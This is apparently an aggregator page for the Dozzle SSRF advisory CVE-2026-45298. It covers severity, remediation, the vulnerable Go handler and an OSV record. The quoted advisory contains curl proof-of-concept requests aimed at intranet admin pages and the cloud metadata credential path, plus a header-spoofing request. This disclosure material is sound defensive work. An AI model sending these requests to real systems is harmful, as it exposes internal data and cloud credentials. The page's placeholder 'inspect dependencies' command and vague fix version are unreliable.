CVE-2026-45298: Dozzle Pre-auth SSRF With Response-body Reflection Vulnerability

HIGH
Advisory Identifier: GHSA-3v9w-6365-9w54
CVSS 8.6
CWE-918
Published
Advisory Summary

CVE-2026-45298 is a HIGH (CVSS 8.6) pre-auth ssrf with response-body reflection vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Dozzle libraries in the Go ecosystem. The issue involves pre-auth ssrf with response-body reflection via post /api/notifications/test-webhook (default no-auth deploy). Remediation is available in the latest vendor maintenance releases.

CVE-2026-45298 at a Glance

CVE Identifier CVE-2026-45298
GHSA Identifier GHSA-3v9w-6365-9w54
Severity HIGH
CVSS v3.1 Base Score 8.6
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Dozzle
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-45298

To remediate this vulnerability, upgrade all affected Dozzle dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/amir20/dozzle fixed: Latest secure release
Upgrade github.com/amir20/dozzle to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/amir20/dozzle

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-45298, inspect your project dependencies for Dozzle:

inspect dependencies for github.com/amir20/dozzle

Analyze the terminal output to locate any version of Dozzle in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Dozzle, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary In a default dozzle deploy (the documented quickstart, no `DOZZLE_AUTH_PROVIDER` set), `POST /api/notifications/test-webhook` is reachable without authentication and forwards an attacker-controlled URL into a `WebhookDispatcher` that: - Sends an HTTP POST to the supplied URL with attacker-controlled request headers, and - Returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx. This is a classic full-reflection SSRF, pre-auth, against any IP/port that dozzle's host can route to — including private subnets, link-local cloud metadata, and loopback services. ## Affected versions `internal/notification/dispatcher/webhook.go` and `internal/web/notifications.go` at commit `581bab3a43ead84ea4d009a469a17af98fb3377f` and earlier (the test-webhook handler has been in place since the notifications subsystem was added). ## Default-deploy reachability chain ``` main.go:58-59 → enforces AuthProvider in {none, forward-proxy, simple} support/cli/args.go:18 → AuthProvider default is "none" main.go:231-243 → when AuthProvider == "none", web.AuthProvider stays at NONE internal/web/routes.go:130-132, 137-138 → auth middleware only registered if Provider != NONE internal/web/routes.go:172-188 → /api/notifications/* (incl. /test-webhook) is inside that conditional Group ``` So the default Quickstart deploy ```bash docker run -v /var/run/docker.sock:/var/run/docker.sock -p 8080:8080 amir20/dozzle:latest ``` exposes `POST /api/notifications/test-webhook` to the network without any authentication. ## The vulnerable handler ```go // internal/web/notifications.go:652-716 func (h *handler) testWebhook(w http.ResponseWriter, r *http.Request) { var input TestWebhookInput if err := json.NewDecoder(r.Body).Decode(&input); err != nil { ... } ... webhook, err := dispatcher.NewWebhookDispatcher("test", input.URL, templateStr, input.Headers) ... result := webhook.SendTest(r.Context(), mockNotification) ... writeJSON(w, http.StatusOK, &TestWebhookResult{ Success: result.Success, StatusCode: statusCode, Error: errStr, }) } ``` `input.URL` and `input.Headers` are entirely user-controlled. No host/IP/scheme validation anywhere. ## The reflection sink ```go // internal/notification/dispatcher/webhook.go:88-120 req, err := http.NewRequestWithContext(ctx, http.MethodPost, w.URL, bytes.NewReader(payload)) ... for k, v := range w.Headers { req.Header.Set(k, v) } ... resp, err := w.client.Do(req) ... if resp.StatusCode < 200 || resp.StatusCode >= 300 { limitedReader := io.LimitReader(resp.Body, 1024*1024) // 1 MB responseBody, _ := io.ReadAll(limitedReader) ... return TestResult{ Success: false, StatusCode: resp.StatusCode, Error: fmt.Sprintf("webhook returned status code %d: %s", resp.StatusCode, string(responseBody)), } } ``` When the SSRF target returns non-2xx, up to 1 MB of response body becomes part of `Error`, which is then JSON-encoded back to the attacker. ## PoC ### A. Read intranet admin-panel response bodies (most common path) Most internal admin UIs respond to anonymous POST with 401/403 + an HTML or JSON body that contains version banners, CSRF tokens, internal hostnames, etc. ```bash curl -X POST -H "Content-Type: application/json" \ -d '{"url":"http://192.168.1.1/admin/index.html","headers":{}}' \ http://dozzle.example.com/api/notifications/test-webhook ``` Response shape (`writeJSON` to the public Internet): ```json { "Success": false, "StatusCode": 401, "Error": "webhook returned status code 401: <html><head>... full intranet HTML body, up to 1MB ...</html>" } ``` ### B. Cloud IMDS reachability probe ```bash curl -X POST -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","headers":{}}' \ http://dozzle.example.com/api/notifications/test-webhook ``` If `StatusCode == 200`, IMDS is reachable. For AWS IMDSv2 the unauth POST returns 401 + body which IS reflected. ### C. Header injection downstream ```bash curl -X POST -H "Content-Type: application/json" \ -d '{ "url":"http://internal-api.example.com:8080/admin/users", "headers":{"X-Forwarded-User":"admin","X-Real-IP":"127.0.0.1"} }' \ http://dozzle.example.com/api/notifications/test-webhook ``` ## Suggested fix 1. **Refuse `test-webhook` when `Authorization.Provider == NONE`.** This is an admin-configuration helper; it should not be reachable on a deploy that has no concept of admin. 2. **SSRF-harden `WebhookDispatcher`.** Resolve URL host once via `net.LookupIP`; refuse private/loopback/link-local/CGNAT; pin `http.Transport.DialContext` to the resolved IP (closes DNS-rebinding TOCTOU). Refuse non-http(s) schemes. 3. **Stop reflecting response body.** UX for "test webhook" only needs `Success: bool, StatusCode: int`. ## Severity - **CVSS 3.1:** High — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` ≈ 7.5 in default no-auth deploy. - **Auth:** none in default deploy. With `DOZZLE_AUTH_PROVIDER=simple` configured, the same primitive is post-auth. ## Reproduction environment - Tested against: `amir20/dozzle:8.x` Docker image (commit `581bab3a43ead84ea4d009a469a17af98fb3377f`). - Code locations: - Handler: `internal/web/notifications.go:652-716` - Sink: `internal/notification/dispatcher/webhook.go:88-120` - Auth gate: `internal/web/routes.go:130-138, 172-188` - Default provider: `internal/support/cli/args.go:18`, `main.go:231` ## Reporter Eddie Ran. Filed via reporter API per dozzle's `SECURITY.md`.

CVE-2026-45298 Affected Dozzle Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/amir20/dozzle
Go
≤ 8.14.12

References

Frequently Asked Questions

What is CVE-2026-45298?
CVE-2026-45298 is a security vulnerability in Dozzle involving Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy) under CWE-918: Server-Side Request Forgery (SSRF).
Which Dozzle versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/amir20/dozzle.
What version fixes CVE-2026-45298?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/amir20/dozzle affected?
Yes, github.com/amir20/dozzle is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-45298?
CVE-2026-45298 has a CVSS v3.1 base score of 8.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-45298?
CVE-2026-45298 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for CVE-2026-45298?
Run the dependency tree command: 'inspect dependencies for github.com/amir20/dozzle'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3v9w-6365-9w54",
  "modified" : "2026-06-08T23:35:22Z",
  "published" : "2026-05-18T16:41:39Z",
  "aliases" : [ "CVE-2026-45298" ],
  "summary" : "Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)",
  "details" : "## Summary\n\nIn a default dozzle deploy (the documented quickstart, no `DOZZLE_AUTH_PROVIDER` set), `POST /api/notifications/test-webhook` is reachable without authentication and forwards an attacker-controlled URL into a `WebhookDispatcher` that:\n\n- Sends an HTTP POST to the supplied URL with attacker-controlled request headers, and\n- Returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx.\n\nThis is a classic full-reflection SSRF, pre-auth, against any IP/port that dozzle's host can route to — including private subnets, link-local cloud metadata, and loopback services.\n\n## Affected versions\n\n`internal/notification/dispatcher/webhook.go` and `internal/web/notifications.go` at commit `581bab3a43ead84ea4d009a469a17af98fb3377f` and earlier (the test-webhook handler has been in place since the notifications subsystem was added).\n\n## Default-deploy reachability chain\n\n```\nmain.go:58-59           → enforces AuthProvider in {none, forward-proxy, simple}\nsupport/cli/args.go:18  → AuthProvider default is \"none\"\nmain.go:231-243         → when AuthProvider == \"none\", web.AuthProvider stays at NONE\ninternal/web/routes.go:130-132, 137-138 → auth middleware only registered if Provider != NONE\ninternal/web/routes.go:172-188          → /api/notifications/* (incl. /test-webhook) is inside that conditional Group\n```\n\nSo the default Quickstart deploy\n\n```bash\ndocker run -v /var/run/docker.sock:/var/run/docker.sock -p 8080:8080 amir20/dozzle:latest\n```\n\nexposes `POST /api/notifications/test-webhook` to the network without any authentication.\n\n## The vulnerable handler\n\n```go\n// internal/web/notifications.go:652-716\nfunc (h *handler) testWebhook(w http.ResponseWriter, r *http.Request) {\n    var input TestWebhookInput\n    if err := json.NewDecoder(r.Body).Decode(&input); err != nil { ... }\n    ...\n    webhook, err := dispatcher.NewWebhookDispatcher(\"test\", input.URL, templateStr, input.Headers)\n    ...\n    result := webhook.SendTest(r.Context(), mockNotification)\n    ...\n    writeJSON(w, http.StatusOK, &TestWebhookResult{\n        Success:    result.Success,\n        StatusCode: statusCode,\n        Error:      errStr,\n    })\n}\n```\n\n`input.URL` and `input.Headers` are entirely user-controlled. No host/IP/scheme validation anywhere.\n\n## The reflection sink\n\n```go\n// internal/notification/dispatcher/webhook.go:88-120\nreq, err := http.NewRequestWithContext(ctx, http.MethodPost, w.URL, bytes.NewReader(payload))\n...\nfor k, v := range w.Headers { req.Header.Set(k, v) }\n...\nresp, err := w.client.Do(req)\n...\nif resp.StatusCode < 200 || resp.StatusCode >= 300 {\n    limitedReader := io.LimitReader(resp.Body, 1024*1024)   // 1 MB\n    responseBody, _ := io.ReadAll(limitedReader)\n    ...\n    return TestResult{\n        Success:    false,\n        StatusCode: resp.StatusCode,\n        Error:      fmt.Sprintf(\"webhook returned status code %d: %s\",\n                                 resp.StatusCode, string(responseBody)),\n    }\n}\n```\n\nWhen the SSRF target returns non-2xx, up to 1 MB of response body becomes part of `Error`, which is then JSON-encoded back to the attacker.\n\n## PoC\n\n### A. Read intranet admin-panel response bodies (most common path)\n\nMost internal admin UIs respond to anonymous POST with 401/403 + an HTML or JSON body that contains version banners, CSRF tokens, internal hostnames, etc.\n\n```bash\ncurl -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"url\":\"http://192.168.1.1/admin/index.html\",\"headers\":{}}' \\\n  http://dozzle.example.com/api/notifications/test-webhook\n```\n\nResponse shape (`writeJSON` to the public Internet):\n```json\n{\n  \"Success\": false,\n  \"StatusCode\": 401,\n  \"Error\": \"webhook returned status code 401: <html><head>... full intranet HTML body, up to 1MB ...</html>\"\n}\n```\n\n### B. Cloud IMDS reachability probe\n\n```bash\ncurl -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"headers\":{}}' \\\n  http://dozzle.example.com/api/notifications/test-webhook\n```\n\nIf `StatusCode == 200`, IMDS is reachable. For AWS IMDSv2 the unauth POST returns 401 + body which IS reflected.\n\n### C. Header injection downstream\n\n```bash\ncurl -X POST -H \"Content-Type: application/json\" \\\n  -d '{\n    \"url\":\"http://internal-api.example.com:8080/admin/users\",\n    \"headers\":{\"X-Forwarded-User\":\"admin\",\"X-Real-IP\":\"127.0.0.1\"}\n  }' \\\n  http://dozzle.example.com/api/notifications/test-webhook\n```\n\n## Suggested fix\n\n1. **Refuse `test-webhook` when `Authorization.Provider == NONE`.** This is an admin-configuration helper; it should not be reachable on a deploy that has no concept of admin.\n2. **SSRF-harden `WebhookDispatcher`.** Resolve URL host once via `net.LookupIP`; refuse private/loopback/link-local/CGNAT; pin `http.Transport.DialContext` to the resolved IP (closes DNS-rebinding TOCTOU). Refuse non-http(s) schemes.\n3. **Stop reflecting response body.** UX for \"test webhook\" only needs `Success: bool, StatusCode: int`.\n\n## Severity\n\n- **CVSS 3.1:** High — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` ≈ 7.5 in default no-auth deploy.\n- **Auth:** none in default deploy. With `DOZZLE_AUTH_PROVIDER=simple` configured, the same primitive is post-auth.\n\n## Reproduction environment\n\n- Tested against: `amir20/dozzle:8.x` Docker image (commit `581bab3a43ead84ea4d009a469a17af98fb3377f`).\n- Code locations:\n  - Handler: `internal/web/notifications.go:652-716`\n  - Sink: `internal/notification/dispatcher/webhook.go:88-120`\n  - Auth gate: `internal/web/routes.go:130-138, 172-188`\n  - Default provider: `internal/support/cli/args.go:18`, `main.go:231`\n\n## Reporter\n\nEddie Ran. Filed via reporter API per dozzle's `SECURITY.md`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/amir20/dozzle"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "8.14.12"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/amir20/dozzle/security/advisories/GHSA-3v9w-6365-9w54"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45298"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/amir20/dozzle"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/amir20/dozzle/releases/tag/v10.5.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-18T16:41:39Z",
    "nvd_published_at" : "2026-05-26T22:16:43Z"
  }
}